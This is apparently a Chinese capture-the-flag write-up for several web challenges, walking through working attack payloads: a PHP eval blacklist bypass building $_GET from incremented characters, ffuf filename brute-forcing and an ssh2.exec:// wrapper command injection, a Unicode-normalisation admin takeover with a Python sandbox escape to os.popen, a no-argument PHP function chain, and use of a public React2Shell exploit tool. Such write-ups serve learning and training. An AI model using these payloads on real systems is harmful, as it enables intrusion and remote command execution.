Plus_plus

查看源代码

发现有提示

<?php
error_reporting(0);
if (isset($_GET['0xGame'])) {
highlight_file(__FILE__);
}
if (isset($_POST['web'])) {
$web = $_POST['web'];
if (strlen($web) <= 120) {
限制提交的 $web 参数的长度不能超过 120 个字符
if (is_string($web)) {
确保 $web 是一个字符串类型,防止选手传入数组
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-BD-GI-Z~\\\\]/", $web)) {
黑名单过滤
eval($web);
} else {
echo("NONONO!");
}
} else {
echo "No String!";
}
} else {
echo "too long!";
}
}
?>
被禁用的字母:
a-z:所有小写字母全被禁用。
A-B:禁用 A 和 B。
D-G:禁用 D, E, F, G。
I-Z:禁用 I 到 Z 的所有大写字母。
构造payload:_=\[\]._;=_\[1\];=_\[0\];++;_1=++;_++;++;_++;_++;_=_1.++_.;_=_.(71)._(69).(84);$$[1]($$[2]);
PHP 变量自增绕过
数组强制转换为字符串会变成 "Array"
字符串可以像数组一样通过索引取字符
PHP 字符自增特性(例如 'A'++ 变成 'B')
动态函数调用(例如 $a='chr'; $a(65) 等同于 chr(65))
$_ = []._;
[] 是一个空数组。当空数组被尝试与字符串 _ 拼接时,PHP 会强制将数组转换为字符串
转换结果固定为 "Array"。所以拼接后 $_ 的值变成了 "Array_"
$__ = $_[1];
对字符串 "Array_" 进行索引取值。索引 0 是 'A',索引 1 是 'r'
$_ = $_[0];
同样地,取索引 0 的字符
$_++;
$_1 = ++$_;
$_++:将 'A' 自增变成 'B'。此时 $_ = "B"。
++$_:先自增将 'B' 变成 'C',然后赋值给 $_1
$_++;$_++;$_++;$_++;
$_(目前是 'C')连续自增 4 次:'C' -> 'D' -> 'E' -> 'F' -> 'G'
$_ = $_1 . ++$_ . $__;
++$_:将 'G' 自增变成 'H'
开始拼接:$_1 ('C') + 'H' + $__ ('r')
PHP 的函数名是不区分大小写的,所以 CHr 完全等同于 chr 函数(用于将 ASCII 码转为字符)
$_ = _ . $_(71) . $_(69) . $_(84);
这里的 $_() 相当于调用 CHr() 函数。
CHr(71) 对应大写字母 'G'。
CHr(69) 对应大写字母 'E'。
CHr(84) 对应大写字母 'T'。
拼接起来就是:"_" + "G" + "E" + "T"
此时变量状态:$_ = "_GET"
$$_[1]($$_[2]);
$$_ 相当于 ${"_GET"},也就是 PHP 的全局超全局变量 $_GET
$$_[1] 等同于 $_GET[1]。
$$_[2] 等同于 $_GET[2]


成功获取flag
一鸣唱吧

想注册admin结果用户名被注册


不管了,先注册看看,这里有一个上传页面


我上传了两个1.txt
发现其规律是UNiCTF2026xx后缀名不变。所以这里我们直接fuff爆破
ffuf -u http://80-1868bf38-692b-49d4-aef2-6a3df5018807.challenge.ctfplus.cn/uploads/UNiCTF2026W1.W2 \
-w num00.txt:W1 \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-extensions-lowercase.txt:W2 \
-mode clusterbomb
-w: 指定要使用的字典文件
num00.txt:W1: 告诉 ffuf:"读取 num00.txt 这个文件里的每一行内容,并把它们填入到 URL 中 W1 所在的位置。
这是第二个 -w 参数,指定了第二个字典
这个字典是 SecLists 中专门存放常见文件扩展名(后缀名)的列表
-mode: 指定多字典组合的工作模式
clusterbomb(集束炸弹模式):这是最关键的参数。它意味着对两个字典进行笛卡尔积(全组合)测试。它会遍历所有的可能性
假设 num00.txt 里面有 01 和 02。
扩展名字典里有 php 和 txt。
使用 clusterbomb 模式时,ffuf 会发送以下 4 次请求,尝试所有的组合:
.../UNiCTF202601.php
.../UNiCTF202601.txt
.../UNiCTF202602.php
.../UNiCTF202602.txt


查看是一个phpinfo

可以发现php但是应该是非预期
看到另一个文件,后缀名db,是SQLite文件(类似的有.sqlite)


使用SQLiteSpy
MD5哈希解密
admin888


这里多了内部预览

提示可以用file://伪协议,尝试file:///var/www/html/download.php

<?php
// 引入数据库连接
require_once 'includes/db.php';
if (session_status() === PHP_SESSION_NONE) { session_start(); }
if (!isset($_SESSION['user'])) {
require_once 'includes/header.php';
die("<div class='container'><p class='error'>请先登录会员系统!/ Access Denied</p></div>");
require_once 'includes/footer.php';
}
if (isset($_GET['preview']) && $_GET['preview'] === "true" && isset($_SESSION['is_admin']) && $_SESSION['is_admin'] == 1) {
$format = isset($_GET['format']) ? $_GET['format'] : '';
// ========================================
// 安全过滤:协议黑名单检查
// ========================================
$dangerousProtocols = [
'php://',
'data://',
'phar://',
'zip://',
'compress.zlib://',
'compress.bzip2://',
'zlib://',
'glob://',
'expect://',
'input://',
'http://',
'https://',
'ftp://',
'ftps://',
'dict://',
'gopher://',
'tftp://',
'ldap://',
'ssh2.sftp://',
'ssh2.scp://',
'ssh2.tunnel://',
'rar://',
'ogg://',
];
foreach ($dangerousProtocols as $protocol) {
if (stripos($format, $protocol) !== false) {
require_once 'includes/header.php';
echo "<div class='container'>";
echo "<p class='error'>⚠️ 安全警告:禁止使用该协议 " . htmlspecialchars($protocol) . "</p>";
echo "<p>系统检测到潜在的安全风险,已拦截此次请求。</p>";
echo "</div>";
require_once 'includes/footer.php';
exit;
}
}
// ========================================
$full_path = $format;
$is_viewing_source = (strpos($format, 'file://') === 0);
if ($is_viewing_source) {
header('Content-Type: text/plain; charset=utf-8');
} else {
header('Content-Type: text/html; charset=utf-8');
require_once 'includes/header.php';
echo "<div class='container'><h2 class='neon-text'>🔧 管理员预览控制台</h2>";
echo "<p class='message'>正在尝试加载资源流: <strong>" . htmlspecialchars($full_path) . "</strong></p>";
echo "<div style='background: #000; padding: 15px; border: 1px solid #333; font-family: monospace; color: #0f0; white-space: pre-wrap;'>";
}
try {
$handle = @fopen($full_path, 'r');
if ($handle) {
$content = stream_get_contents($handle);
if ($is_viewing_source) {
echo $content;
} else {
echo htmlspecialchars($content);
}
fclose($handle);
} else {
echo "Error: 资源加载失败。\n";
echo "可能的原因为:\n";
echo "1. 文件路径不存在\n";
echo "2. 权限不足 (Permission Denied)\n";
echo "3. 协议格式错误\n";
}
} catch (Exception $e) {
echo "System Error: " . $e->getMessage();
}
if (!$is_viewing_source) {
echo "</div></div>"; // 关闭 console 和 container
require_once 'includes/footer.php';
}
exit;
}
//普通会员文件下载
require_once 'includes/header.php';
if (isset($_GET['file'])) {
$file = $_GET['file'];
if (strpos($file, '..') === false && strpos($file, '/') === false) {
$filepath = "uploads/" . $file;
if (file_exists($filepath)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
header('Content-Length: ' . filesize($filepath));
readfile($filepath);
exit;
} else {
echo "<p class='error'>文件不存在或已被移除。</p>";
}
} else {
echo "<p class='error'>非法请求。</p>";
}
}
$admin_panel = '';
if (isset($_SESSION['is_admin']) && $_SESSION['is_admin'] == 1) {
$current_dir = __DIR__;
$admin_panel = <<<HTML
<div class="admin-panel">
<h3 class="neon-text">🔧 管理员内部预览 (Dev Mode)</h3>
<p style="color: gray; font-size: 0.8em;">当前 Web 根目录: {$current_dir}</p>
<form method="get" target="_blank">
<input type="hidden" name="preview" value="true">
<label>Resource URI:</label>
<input type="text" name="format" placeholder="例如: file://{$current_dir}/index.php" style="width: 70%;" required>
<button type="submit">加载资源</button>
</form>
</div>
HTML;
}
?>
<h2 class="neon-text">🎵 一鸣曲库 (归档中心)</h2>
<p>这里存放着系统归档文件。普通会员可根据文件名下载。</p>
<div style="margin-top: 30px; padding: 20px; background: rgba(0,0,0,0.3);">
<h3>📥 歌曲/文件下载</h3>
<form method="get">
文件名: <input type="text" name="file" placeholder="输入文件名, 如 MGSG202500.mp3">
<button type="submit">下载文件</button>
</form>
</div>
<?php
echo $admin_panel;
require_once 'includes/footer.php';
?>
strpos()是查找特定字符串在另一个字符串首次出现位置的函数,如果找到会返回对应的数字,没找到会返回false。注意在php中强碰撞是会比较类型的,0不是false。
在找洞的时候需要着重注意处理用户输入的逻辑,这里的fopen()函数支持封装流协议。然后就是过滤得越多的也越有可能有问题,这里还有一个ssh2模块的exec://协议没有被ban,该协议可以在远程ssh(secure shell)上执行命令(首先需要获得一个ssh用户的凭证)。
该协议的格式是这样的:ssh2.exec://user:pass@ip/cmd
ssh2可以在phpinfo里看到被引入了:

admin没有权限,切换一下账户为ctfer
/download.php?preview=true&format=ssh2.exec://ctfer:duhgrl@127.0.0.1:22/ls+/+-al+>+/var/www/html/1.txt
/download.php?preview=true&format=ssh2.exec://ctfer:duhgrl@127.0.0.1:22/cat+/flflagag1SH3re+>+/var/www/html/1.txt



myblog

myblog/
├── app.py # 主应用入口
├── auth/
│ └── routes.py # 认证相关路由(注册/登录)
├── blog/
│ └── routes.py # 博客相关路由(查看/沙箱执行)
└── templates/ # HTML 模板
在 auth/routes.py 的注册功能中,有关键代码
normalized_name = unicodedata.normalize('NFKC', username).lower() # 归一化
尝试转化admin变为全角字符的admin,经过 NFKC 归一化后会变成 admin 绕过注册限制
在登录功能中
if user_db.get(username) == password: # 直接使用原始用户名查询
所以归一化之后的admin就是真的admin了
from flask import Flask, Blueprint, request, session, flash, redirect, url_for, render_template
import unicodedata
auth_bp=Blueprint('auth',__name__)
user_db={"admin":"test"}#password is fake
@auth_bp.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password=request.form.get('password')
if username == 'admin':
flash("想得美")
return redirect(url_for('auth.register'))
normalized_name = unicodedata.normalize('NFKC', username).lower()
flash(f"注册并登录成功,欢迎:{normalized_name}")
user_db[normalized_name]=password
return redirect(url_for('auth.login'))
return render_template('register.html')
@auth_bp.route('/login',methods=['GET', 'POST'])
def login():
if request.method =='POST':
username=request.form.get("username")
password=request.form.get("password")
if user_db.get(username)==password:
session['user']=username
flash(f'welcome {username}!')
return redirect(url_for('blog.view'))
else:
flash('wrong!!!')
return redirect(url_for('auth.login'))
return render_template('login.html')
然后就是经典的沙箱逃逸了
由于 builtins 被清空,需要通过对象属性链恢复访问权限:
classes = ().__class__.__bases__[0].__subclasses__()
target = [c for c in classes if c.__init__.__class__.__name__ == 'function' and 'sys' in c.__init__.__globals__]
原理:
().class → tuple
().class.bases[0] → object
object.subclasses() → 获取所有子类
过滤出 init 是函数(非 wrapper_descriptor)且 globals 包含 sys 的类
sys_mod = target[0].__init__.__globals__['sys']
sys_mod.stdout.write(sys_mod.modules['os'].popen('ls /').read())
原理:
通过 init.globals['sys'] 获取 sys 模块
sys.modules['os'] 获取 os 模块
os.popen('command').read() 执行系统命令并读取输出
sys.stdout.write() 输出到捕获的 stdout
可以先找到flag在哪sys_mod.modules['os'].popen('find / -name "flag" -type f 2>/dev/null').read()
也可以直接cat /*/flag ,也能得到flag
classes = ().__class__.__bases__[0].__subclasses__()
target = [c for c in classes if c.__init__.__class__.__name__ == 'function' and 'sys' in c.__init__.__globals__]
sys_mod = target[0].__init__.__globals__['sys']
sys_mod.stdout.write(sys_mod.modules['os'].popen('cat /app/flag').read())
注册全角 admin → NFKC 归一化覆盖 admin 密码
↓
用 admin/hacker123 登录
↓
进入 /execute 沙箱
↓
找到包含 sys 模块的类
↓
获取 sys 模块并执行命令
↓
读取 flag


phpmaster

<?php
highlight_file(__FILE__);
$star = isset($_GET['star']) ? $_GET['star'] : '';
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $star)) {
eval($star);
}
正则 /[^\W]+\((?R)?\)/ 匹配模式:
[^\W]+ - 匹配函数名(字母、数字、下划线)
\((?R)?\) - 匹配括号,内部可以递归匹配相同模式
这意味着只能使用 func() 或 func(func()) 形式的调用
该正则只允许无参数函数调用或嵌套函数调用,无法直接传递字符串参数
file(implode(array_filter(array_unique(each(array_values(array_unique(each(array_filter(getallheaders())))))))))
getallheaders() 获取所有请求头
array_filter() 移除空值头部
each() 获取第一个非空头部的键值对
array_unique() 去重
array_values() 重新索引
each() 再次获取第一个元素
array_filter() 过滤掉数字 0
implode() 连接得到文件路径
file() 读取文件内容
配合 HTTP 头部:Z-Flag: /flag
使用 Z-Flag 作为头部名称是因为字母 Z 排序靠后,经过 array_filter() 处理后会排在数组前面,便于 each() 提取
我又想到有没有可能phpinfo()也是可以的

我裂开来
查半天php手册文章
没话说,应该把phpinfo去掉,非预期!

react2shell
React 生态曝出CVE-2025-55182(React2Shell) 高危远程代码执行(RCE)漏洞,该漏洞影响 React Server Components(RSC)核心组件,已被美国 CISA 纳入已知可利用漏洞目录


目前公开的 CVE-2025-55182 利用工具(react-2-shell-ultimate.py)具备高度成熟的攻击能力,核心特征如下:
多维度利用方式
支持 6 种 exploitation 技术,包括 Multipart POST、JSON POST、GET 参数、Windows 专属载荷、文件输出、表单编码等多种请求方式,可绕过基础的请求拦截规则;
智能载荷与规避
支持动态生成反检测载荷,适配 Windows/Linux 不同系统,同时具备命令转义、编码处理能力,可规避基础的 WAF 与入侵检测规则;
隐蔽性与兼容性
支持随机 User-Agent 轮换、SSL 证书验证绕过,输出日志可控,攻击行为更隐蔽,且跨 Windows/Linux/macOS 平台运行,适配各类攻击环境;
便捷化测试
内置非破坏性测试模式,可快速验证漏洞是否存在,无需实际执行高危命令,大幅提升攻击效率。
python react-2-shell-ultimate.py -t http://3000-e1c0c436-6515-46a2-8cd8-9aad4196a22d.challenge.ctfplus.cn/ -c "ls /"

python react-2-shell-ultimate.py -t http://3000-e1c0c436-6515-46a2-8cd8-9aad4196a22d.challenge.ctfplus.cn/ -c "cat /flag"

only_real_revenge


进来点不了任何东西

先把disabled给删了

发现token不太对劲
jwt_tool爆破出来cdef

后面还有限制,还得绕

